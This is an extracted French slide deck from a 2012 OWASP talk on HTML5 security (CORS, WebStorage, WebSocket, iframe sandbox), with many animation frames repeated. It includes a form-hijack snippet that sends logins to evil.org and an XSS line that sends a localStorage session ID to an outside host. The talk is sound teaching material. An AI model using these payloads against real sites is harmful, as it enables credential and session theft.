Upload
sebastien-gioria
View
1.816
Download
0
Embed Size (px)
DESCRIPTION
Présentation effectuée sur HTML5 aux MSTechDays 2012
Citation preview
The OWASP Foundationhttp://www.owasp.org
et la Sécurité ou comment les Poneys envahissent le Web 3.0...
Sébastien GioriaFrench OWASP Leader
Global Education Committee
Paris - 7 Février 2012
Wednesday, February 8, 12
Agenda•Un peu d’histoire
•HTML5 pour les nuls en 4mn 2s
•Nouvelles attaques et protections ?
•Références
2Wednesday, February 8, 12
Back to the past201220001995
3
HTML 2.0 HTML 4.0 HTML 5 ?
CSS 2
1998 2005
CSS 3
JavaScriptla DOM XmlHttpRequest
Wednesday, February 8, 12
4Wednesday, February 8, 12
ELEMENTS INTERESSANTS DE HTML5
5Wednesday, February 8, 12
4mn 2sNouvelles balises
• On n’est pas la pour parler de peinture...
Nouvelles APIs
• WebSocket
• WebMessaging
• IndexedDB
• OffLine Web Application
• WebStorage (votre nouveau DropBox ? ...)
• Cross Origin Ressource Sharing (déja rien que le nom est intéressant...)
6Wednesday, February 8, 12
4mn 2sWebSocket : Permet d’effectuer des connexions
persistantes et bi-directionnelles
• mécanisme de “Push” possible
• interface en cours de finalisation/spécifications
• nécessite un serveur “compatible”
• API minimaliste (send, receive via event)
• http://www.w3.org/TR/websockets/
7Wednesday, February 8, 12
4mn 2sWebMessaging : communication inter-documents
HTML
• via la méthode window.postMessage();
• pas de garantie de contenu inoffensif (ie; pas de filtre de type anti-XSS ....)
• vérification de l’origine a la charge de l’application receptrice.
• il est possible de transporter du JSON :)
• http://www.w3.org/TR/webmessaging/8
Wednesday, February 8, 12
4mn 2sIndexedDB; la Web SQL Database...
•API synchrone et asynchrone
•pensée pour JavaScript; stockage d’objets
•http://www.w3.org/TR/IndexedDB/
9Wednesday, February 8, 12
4mn 2sOffline Web Applications: possibilité
d’exécuter tout ou partie des applications même déconnecté.
• via navigator.onLine
• mise en cache des données nécessaires(HTML, CSS, JavaScript...)
• http://www.w3.org/TR/html5/offline.html
10Wednesday, February 8, 12
4mn 2sWebStorage : donne la capacité au navigateur
de stocker jusqu’a 5Mo à 10Mo de données
•deux type de stockage : local ou de session
•possibilité de stocker des objets JSON
•possibilité de stocker de manière régulière
•http://www.w3.org/TR/webstorage/
11Wednesday, February 8, 12
SÉCURITÉ ?
12Wednesday, February 8, 12
OWASP Top Ten 2010
http://www.owasp.org/index.php/Top_10
A1: Injec-on A2: Cross Site Scrip-ng (XSS)
A3: Mauvaise ges-on des sessions et de l’authen-fica-on
A4:Référence directe non sécurisée à un
objet
A5: Cross Site Request Forgery (CSRF)
A6: Mauvaise configura-on sécurité
A8: Mauvaise restric-on d’accès à
une URL
A10: Redirec-ons et transferts non validés
A7: Mauvais stockage cryptographique
A9: Protec-on insuffisante lors du
transport des données
Wednesday, February 8, 12
Falsification de Forms
14
Il est possible de contrôler une Forms en dehors de l’élément “forms”
<form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /></form>
<input form=“myform” type=“submit” name=“…” value=“Advanced Version”/>
Wednesday, February 8, 12
Falsification Forms
15
<form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /></form>
New VIP section of the site is open!<input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” />
Si on arrive à injecter ce code
Automatiquement, evil.org dispose des éléments et la Forms initiale est appelée
Wednesday, February 8, 12
Protocol/content Handlers
16
Il est possible d’enregistrer des handlers de protocole ou de type de fichiers personalisés
• sms://
• application/pdf
Il est possible (mais pas recommandé) de changer les handlers standards (dépend des navigateurs)
Il n’est pas obligatoire de demander à l’utilisateur son autorisation
Wednesday, February 8, 12
Cross Origin Resource Sharing 1/4
XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript.
17Wednesday, February 8, 12
Cross Origin Resource Sharing 1/4
XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript.
17Wednesday, February 8, 12
Cross Origin Resource Sharing 1/4
XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript.
17
Mais c’etait sans compter les
Wednesday, February 8, 12
Cross Origin Resource Sharing 1/4
XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript.
17
HTTP/1.1 200 OKContent-Type: text/htmlAccess-Control-Allow-Origin: http://internal.example.com
Mais c’etait sans compter les
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
GET / HTTP/1.1
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
GET / HTTP/1.1
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
HTTP/1.1 200 Ok<script>XMLHttpRequest...
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
HTTP/1.1 200 Ok<script>XMLHttpRequest...
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
XM
LHT
TPR
eque
st
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
XM
LHT
TPR
eque
st
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
HT
TP/
1.1
200
Ok
Acc
ess-
Con
trol
-Allo
w-O
rigi
n: *
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
HT
TP/
1.1
200
Ok
Acc
ess-
Con
trol
-Allo
w-O
rigi
n: *
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
HT
TP/
1.1
200
Ok
Acc
ess-
Con
trol
-Allo
w-O
rigi
n: *
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
HT
TP/
1.1
200
Ok
Acc
ess-
Con
trol
-Allo
w-O
rigi
n: *
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
18
POST /endpoint HTTP/1.1.....(contenu de la page interne)
poc.ckers.fr
intranet
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
GET / HTTP/1.1
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
GET / HTTP/1.1
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
HTTP/1.1 200 Ok<iframe src=...
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
XMLHttpRequest
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
XMLHttpRequest
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
XMLHttpRequest
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 3/4
DDOS ?
19
poc.ckers.fr
www.cible.com
Wednesday, February 8, 12
Cross Origin Resource Sharing 4/4
Contre-mesures :
•Restriction du domaine
•Ne pas faire confiance à l’entete; elle peut être modifiée par l’attaquant.
•Mettre en place des contre-mesures réseaux (pour les DDOS)
20Wednesday, February 8, 12
WebStoragePas de contrôle de la part de l’utilisateur
sur ce qui est stocké/accéder
L’injection de Javascript peut bypasser la limitation du contrôle d’accès.
➡Vol de Sessions
➡Vol de données sensibles
➡Tracking d’utilisateurs
21Wednesday, February 8, 12
WebStorageVol de Sessions; juste un peu plus
compliqué. :
22
<script>document.write("<imgsrc='http://www.mysite.com?sessionID="+localStorage.getItem('SessionID')+"'>");</script>
le flag HTTPOnly des cookies ne fonctionne pas sur les localStorage !
Wednesday, February 8, 12
WebStorageTracking User
23
Les localStorage ne sont pas forcément effacer lorsqu’on efface l’historique
Il est donc possible de créer des identifiants (de type cookies) persistants permettant de suivre l’utilisateur
Wednesday, February 8, 12
WebSocket API :)Possible entre différents domaines
Permettrai de réduire la taille du contenu transporté ?
24Wednesday, February 8, 12
WebSocket API :)Possible entre différents domaines
Permettrai de réduire la taille du contenu transporté ?
24Wednesday, February 8, 12
WebSocket API :)Possible entre différents domaines
Permettrai de réduire la taille du contenu transporté ?
24Wednesday, February 8, 12
WebSocket API :)Possible entre différents domaines
Permettrai de réduire la taille du contenu transporté ?
24Wednesday, February 8, 12
WebSocket API :)Possible entre différents domaines
Permettrai de réduire la taille du contenu transporté ?
24
GET / HTTP/1.1
Wednesday, February 8, 12
WebSocket API :)Possible entre différents domaines
Permettrai de réduire la taille du contenu transporté ?
24
GET / HTTP/1.1
Wednesday, February 8, 12
WebSocket API :)Possible entre différents domaines
Permettrai de réduire la taille du contenu transporté ?
24
GET / HTTP/1.1
HTTP/1.1 200 Ok
Wednesday, February 8, 12
WebSocket API :)Possible entre différents domaines
Permettrai de réduire la taille du contenu transporté ?
24
GET / HTTP/1.1
HTTP/1.1 200 Ok
Wednesday, February 8, 12
WebSocket API :)Possible entre différents domaines
Permettrai de réduire la taille du contenu transporté ?
24
GET / HTTP/1.1
Upgrade WebSocket
HTTP/1.1 200 Ok
Wednesday, February 8, 12
WebSocket API :)Possible entre différents domaines
Permettrai de réduire la taille du contenu transporté ?
24
GET / HTTP/1.1
Upgrade WebSocket
HTTP/1.1 200 Ok
Wednesday, February 8, 12
WebSocket API :)Possible entre différents domaines
Permettrai de réduire la taille du contenu transporté ?
24
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocl Handshake
HTTP/1.1 200 Ok
Wednesday, February 8, 12
WebSocket API :)Possible entre différents domaines
Permettrai de réduire la taille du contenu transporté ?
24
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocl Handshake
HTTP/1.1 200 Ok
Wednesday, February 8, 12
WebSocket API :)Possible entre différents domaines
Permettrai de réduire la taille du contenu transporté ?
24
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocl Handshake
HTTP/1.1 200 Ok
Tunnel TCP Full Duplex
Wednesday, February 8, 12
Websocket MenacesParmi les attaques possible, certaines sont
triviales:
•Shell Distant
•Botnet Web
• via un XSS ou tout simplement en se connectant à un site Web.
•Port scanning...
25Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
GET / HTTP/1.1
Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
GET / HTTP/1.1
Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
GET / HTTP/1.1
HTTP/1.1 200 Ok
Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
GET / HTTP/1.1
HTTP/1.1 200 Ok
Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
HTTP/1.1 200 Ok
Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
HTTP/1.1 200 Ok
Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
GET / HTTP/1.1Host: some.host.com
Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
GET / HTTP/1.1Host: some.host.com
Wednesday, February 8, 12
WebSocket•Empoisonnement de cache de proxy
26
Proxy Transparent
GET / HTTP/1.1
Upgrade WebSocket
WebSocket Protocol Handshake
HTTP/1.1 200 Ok
GET / HTTP/1.1Host: some.host.com
HTTP/1.1 200 OkContenu falsifié
Wednesday, February 8, 12
OffLine Web Application
•Possibilité d’avoir des attaques de Type APT ?
•Possibilité de pollution des caches de navigateurs (via un point d’accès malveillant); meme du SSL
27
<!DOCTYPE HTML><html manifest="/cache.manifest"><body>
Wednesday, February 8, 12
WebMessage•Possibilité de perte de données sensibles
(si envoyées à une “mauvaise iframe”)
28
<iframe src=”outside.control”
postMessage()Page du site “interne”
Wednesday, February 8, 12
API GeolocationPossibilité de découvrir le lieu ou se trouve
l’utilisateur (sous reserve d’avoir un GPS, ou autre système).
Perte de données de vie privée...
29Wednesday, February 8, 12
Bac a sable des iframes
Par défaut si rien n’est précisé :
•Les formulaires, scripts et plug-ins sont désactivés.
•Pas d’accès aux éléments stockés en local (cookies, sessionStorage, localStorage).
•Par d’AJAX
•Les liens ne peuvent cibler d’autres frames
•Le contenu est considéré externe (pas d’accès à la DOM)
30
<iframe sandbox="....."src="http://monsite.com/index.html"></iframe>
Wednesday, February 8, 12
Bac a sable des iframes
Lever les restrictions :
•allow-same-origin : autorise le contenu a être traité comme de la même origine est pas externe
•allow-top-navigation : l’iframe peut accéder à la navigation de niveau supérieur
•allow-forms : autorise les formulaires
•allow- scripts : les scripts (hors popup) sont autorisés
31
Les navigateurs ne supportent pas tous ces éléments !
Wednesday, February 8, 12
Autres points importantsLes longs traitements en JavaScript
“plantaient” les navigateurs.
Les WebWorkers permettent de lancer des JavaScript en tache de fond
32
DDOS avec CORS & WebWorkers
Calculs distribués (cf Ravan)
Wednesday, February 8, 12
Autres Points importantsCSS3 introduit de nouvelles capacités à
injecter du code JavaScript
33
Nouvelles capacités au ClickJacking
Wednesday, February 8, 12
ConclusionPlein de nouvelles API interessantes pour
le développeur
34
L’ouverture se fait au détriment de la sécurité....
Une surface d’attaque accrue
La belle part au JavaScript (qui peut s’executer sans consentement utilisateur)
Wednesday, February 8, 12
ww.html5test.com
35Wednesday, February 8, 12
Quelques Sites a suivre..
http://www.w3.org/TR/html5/ : le standard
https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet
http://www.caniuse.com : liste des différents supports d’API par navigateur
http://www.html5test.com : le support de VOTRE navigateur vis a vis de la norme.
36Wednesday, February 8, 12